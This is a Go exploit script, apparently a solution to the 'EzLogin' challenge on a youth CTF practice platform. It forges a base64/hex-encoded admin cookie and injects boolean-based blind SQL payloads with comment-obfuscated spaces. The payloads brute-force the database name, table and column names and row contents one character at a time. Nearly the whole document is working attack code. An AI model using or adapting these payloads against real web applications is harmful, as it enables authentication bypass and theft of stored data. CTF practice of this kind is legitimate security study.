package main
import (
"crypto/md5"
"encoding/base64"
"encoding/hex"
"fmt"
"io"
"net/http"
"strings"
)
func getMD5Hash(text string) string {
hasher := md5.New() // 创建一个新的MD5哈希对象
hasher.Write([]byte(text)) // 写入要加密的字符串
hash := hasher.Sum(nil) // 计算哈希值
return hex.EncodeToString(hash) // 将哈希值转换为十六进制字符串并返回
}
func encode(str string) string {
json := fmt.Sprintf(`{"username":"%s","token":"%s","is_admin":1}`, str, getMD5Hash(str))
cookie := base64.StdEncoding.EncodeToString([]byte(json))
cookie = hex.EncodeToString([]byte(cookie))
return cookie
}
func guessDatabaseLength(url string) int {
fmt.Println("开始爆破数据库长度")
//创立连接
client := &http.Client{}
a := 0
for ; a <= 100; a++ {
//exp
s := fmt.Sprintf("admi'/**/or/**/length(database())=%d/**/#", a)
//建立一个http请求
req, err := http.NewRequest("GET", url, nil)
if err != nil {
fmt.Println("Error: ", err)
}
cookie := &http.Cookie{Name: "TOKEN", Value: encode(s), Path: "/"}
req.AddCookie(cookie)
res, err := client.Do(req)
if err != nil {
fmt.Println("Error: ", err)
}
response, _ := io.ReadAll(res.Body)
if strings.Contains(string(response), "@") {
fmt.Println("数据库的长度是:", a)
break
}
}
return a
}
func getDatabase(url string, len int) string {
fmt.Println("开始爆破数据库的名字")
//创立http连接
client := &http.Client{}
result := ""
for i := 0; i <= len; i++ {
for a := 65; a <= 125; a++ {
//exp
s := fmt.Sprintf("admi'/**/or/**/ascii(substr(database(),%d,1))=%d/**/#", i, a)
//建立一个http请求
req, err := http.NewRequest("GET", url, nil)
if err != nil {
fmt.Println("Error: ", err)
}
cookie := &http.Cookie{Name: "TOKEN", Value: encode(s), Path: "/"}
req.AddCookie(cookie)
res, err := client.Do(req)
if err != nil {
fmt.Println("Error: ", err)
}
fmt.Sprintf("Payload:i = %d a = %d", i, a)
response, _ := io.ReadAll(res.Body)
if strings.Contains(string(response), "@") {
result = result + string(a)
fmt.Printf("前%d个字母是:%s\n", i, result)
break
}
}
}
return result
}
func guessTableNum(url, database string) int {
client := &http.Client{}
a := 0
for ; a <= 1000; a++ {
fmt.Println("开始爆破数据库中表的数量")
s := fmt.Sprintf("admi'/**/or/**/%d/**/like/**/(Select/**/Count(Table_name)/**/From/**/Information_schema.tables/**/Where/**/Table_schema/**/like/**/'%s')#", a, database)
//建立一个http请求
req, err := http.NewRequest("GET", url, nil)
//如果请求建立失败,打印报错
if err != nil {
fmt.Println("Error: ", err)
}
cookie := &http.Cookie{Name: "TOKEN", Value: encode(s), Path: "/"}
//在http请求头中加入cookie
req.AddCookie(cookie)
//发送请求
res, err := client.Do(req)
if err != nil {
fmt.Println("Error: ", err)
}
//response接收返回后的页面
response, _ := io.ReadAll(res.Body)
if strings.Contains(string(response), "@") {
break
}
}
return a
}
func guessTablelength(url, database string, num int) {
fmt.Println("开始爆破数据库中表的长度")
client := &http.Client{}
leng := 0
for i := 0; i <= num-1; i++ {
fmt.Println("正在爆破第", i+1, "张表的长度")
for ; leng <= 1000; leng++ {
s := fmt.Sprintf("admi'/**/or/**/(select/**/length(Table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'%s'/**/limit/**/%d,1)/**/like/**/%d/**/#", database, i, leng)
req, err := http.NewRequest("GET", url, nil)
if err != nil {
fmt.Println("Error: ", err)
}
cookie := &http.Cookie{Name: "TOKEN", Value: encode(s), Path: "/"}
req.AddCookie(cookie)
res, err := client.Do(req)
if err != nil {
fmt.Println("Error: ", err)
}
response, _ := io.ReadAll(res.Body)
if strings.Contains(string(response), "@") {
break
}
}
fmt.Printf("第%d张表的长度是%d\n", i, leng)
tableName := getTableName(i, leng, url, database)
guessColumnNum(url, database, tableName)
}
}
func getTableName(i, len int, url, database string) string {
fmt.Println("开始爆破表名")
client := &http.Client{}
tableName := ""
for index := 1; index <= len; index++ {
fmt.Println("正在爆破表名的第", index, "个字母")
for a := 65; a <= 122; a++ {
s := fmt.Sprintf("admi'/**/or/**/(select/**/(ascii(substr((select/**/Table_name/**/from/**/information_schema.tables/**/where/**/table_schema='%s'/**/limit/**/%d,1),%d,1)))=%d)/**/#", database, i, index, a)
req, err := http.NewRequest("GET", url, nil)
if err != nil {
fmt.Println("Error: ", err)
}
cookie := &http.Cookie{Name: "TOKEN", Value: encode(s), Path: "/"}
req.AddCookie(cookie)
res, err := client.Do(req)
if err != nil {
fmt.Println("Error: ", err)
}
response, _ := io.ReadAll(res.Body)
if strings.Contains(string(response), "@") {
tableName = tableName + string(a)
break
}
}
}
fmt.Printf("第%d个表的名字是%s\n", i+1, tableName)
return tableName
}
func guessColumnNum(url, database, tablesName string) int {
fmt.Printf("开始爆破%s表中表的字段的数量\n", tablesName)
client := &http.Client{}
a := 0
for ; a <= 1000; a++ {
s := fmt.Sprintf("admi'/**/or/**/%d/**/like/**/(Select/**/Count(column_name)/**/From/**/Information_schema.columns/**/Where/**/Table_schema/**/like/**/'%s'/**/and/**/table_name='%s')#", a, database, tablesName)
//建立一个http请求
req, err := http.NewRequest("GET", url, nil)
//如果请求建立失败,打印报错
if err != nil {
fmt.Println("Error: ", err)
}
cookie := &http.Cookie{Name: "TOKEN", Value: encode(s), Path: "/"}
//在http请求头中加入cookie
req.AddCookie(cookie)
//发送请求
res, err := client.Do(req)
if err != nil {
fmt.Println("Error: ", err)
}
//response接收返回后的页面
response, _ := io.ReadAll(res.Body)
if strings.Contains(string(response), "@") {
break
}
}
fmt.Printf("%s表中表的字段的数量是:%d\n", tablesName, a)
getColumnleng(url, database, tablesName, a)
return a
}
func getColumnleng(url, database, tablesName string, num int) {
fmt.Println("开始爆破数据库中表的长度")
client := &http.Client{}
leng := 0
for i := 0; i <= num-1; i++ {
fmt.Println("正在爆破第", i+1, "个字段的长度")
for ; leng <= 1000; leng++ {
s := fmt.Sprintf("admi'/**/or/**/%d/**/like/**/(select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'%s'/**/and/**/table_name/**/like/**/'%s'/**/limit/**/%d,1)/**/#", leng, database, tablesName, i)
req, err := http.NewRequest("GET", url, nil)
if err != nil {
fmt.Println("Error: ", err)
}
cookie := &http.Cookie{Name: "TOKEN", Value: encode(s), Path: "/"}
req.AddCookie(cookie)
res, err := client.Do(req)
if err != nil {
fmt.Println("Error: ", err)
}
response, _ := io.ReadAll(res.Body)
if strings.Contains(string(response), "@") {
break
}
}
fmt.Printf("第%d个字段的长度是%d\n", (i + 1), leng)
getColumnName(i, leng, url, database, tablesName)
}
}
func getColumnName(i, len int, url, database, tablesName string) {
fmt.Println("开始爆破字段名名")
client := &http.Client{}
ColumnName := ""
for index := 1; index <= len; index++ {
for a := 65; a <= 122; a++ {
s := fmt.Sprintf("admi'/**/or/**/(select/**/(ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema='%s'/**/and/**/table_name='%s'/**/limit/**/%d,1),%d,1)))=%d)/**/#", database, tablesName, i, index, a)
req, err := http.NewRequest("GET", url, nil)
if err != nil {
fmt.Println("Error: ", err)
}
cookie := &http.Cookie{Name: "TOKEN", Value: encode(s), Path: "/"}
req.AddCookie(cookie)
res, err := client.Do(req)
if err != nil {
fmt.Println("Error: ", err)
}
response, _ := io.ReadAll(res.Body)
if strings.Contains(string(response), "@") {
ColumnName = ColumnName + string(a)
break
}
}
}
fmt.Printf("第%d个字段的名字是%s\n", i+1, ColumnName)
}
func getColumnContent(url, database, columnName, tablesName string) {
fmt.Println("开始爆破字段内容,默认爆破前3行的前40个字母")
client := &http.Client{}
for hang := 0; hang <= 2; hang++ {
fmt.Println("正在爆破第", hang+1, "行的内容")
columnConten := ""
for index := 1; index <= 40; index++ {
a := 48
for ; a <= 125; a++ { //字段名 库名.表名
s := fmt.Sprintf("admi'/**/or/**/(select/**/ascii(substr((select/**/%s/**/from/**/%s.%s/**/limit/**/%d,1),%d,1))=%d)/**/#", columnName, database, tablesName, hang, index, a)
req, err := http.NewRequest("GET", url, nil)
if err != nil {
fmt.Println("Error: ", err)
}
cookie := &http.Cookie{Name: "TOKEN", Value: encode(s), Path: "/"}
req.AddCookie(cookie)
res, err := client.Do(req)
if err != nil {
fmt.Println("Error: ", err)
}
response, _ := io.ReadAll(res.Body)
if strings.Contains(string(response), "@") {
columnConten = columnConten + string(a)
break
}
}
fmt.Printf("前%d个字母是%s\n", index, columnConten)
}
fmt.Printf("字段%s第%d行的内容是%s\n", columnName, hang+1, columnConten)
}
}
func main() {
url := "http://challenge.qsnctf.com:30978/home.php"
fmt.Println("程序开始执行")
lenDatabase := guessDatabaseLength(url)
fmt.Println("database length:", lenDatabase)
database := getDatabase(url, lenDatabase)
fmt.Println("database:", database)
tablesNum := guessTableNum(url, database)
fmt.Printf("数据库%s中有%d张表\n", database, tablesNum)
guessTablelength(url, database, tablesNum)
var tablesName string
var ColumnName string
fmt.Println("请输入你想要查的表名")
_, err := fmt.Scanf("%s", &tablesName)
if err != nil {
}
fmt.Printf("请输入你想要查%s表中的字段的名称\n", tablesName)
_, err = fmt.Scanf("%s", &ColumnName)
if err != nil {
}
fmt.Printf("tableName: %s,ColumnName: %s\n", tablesName, ColumnName)
getColumnContent(url, database, ColumnName, tablesName)
}
青少年CTF练习平台 EzLogin exp
最新推荐文章于 2024-07-20 17:56:58 发布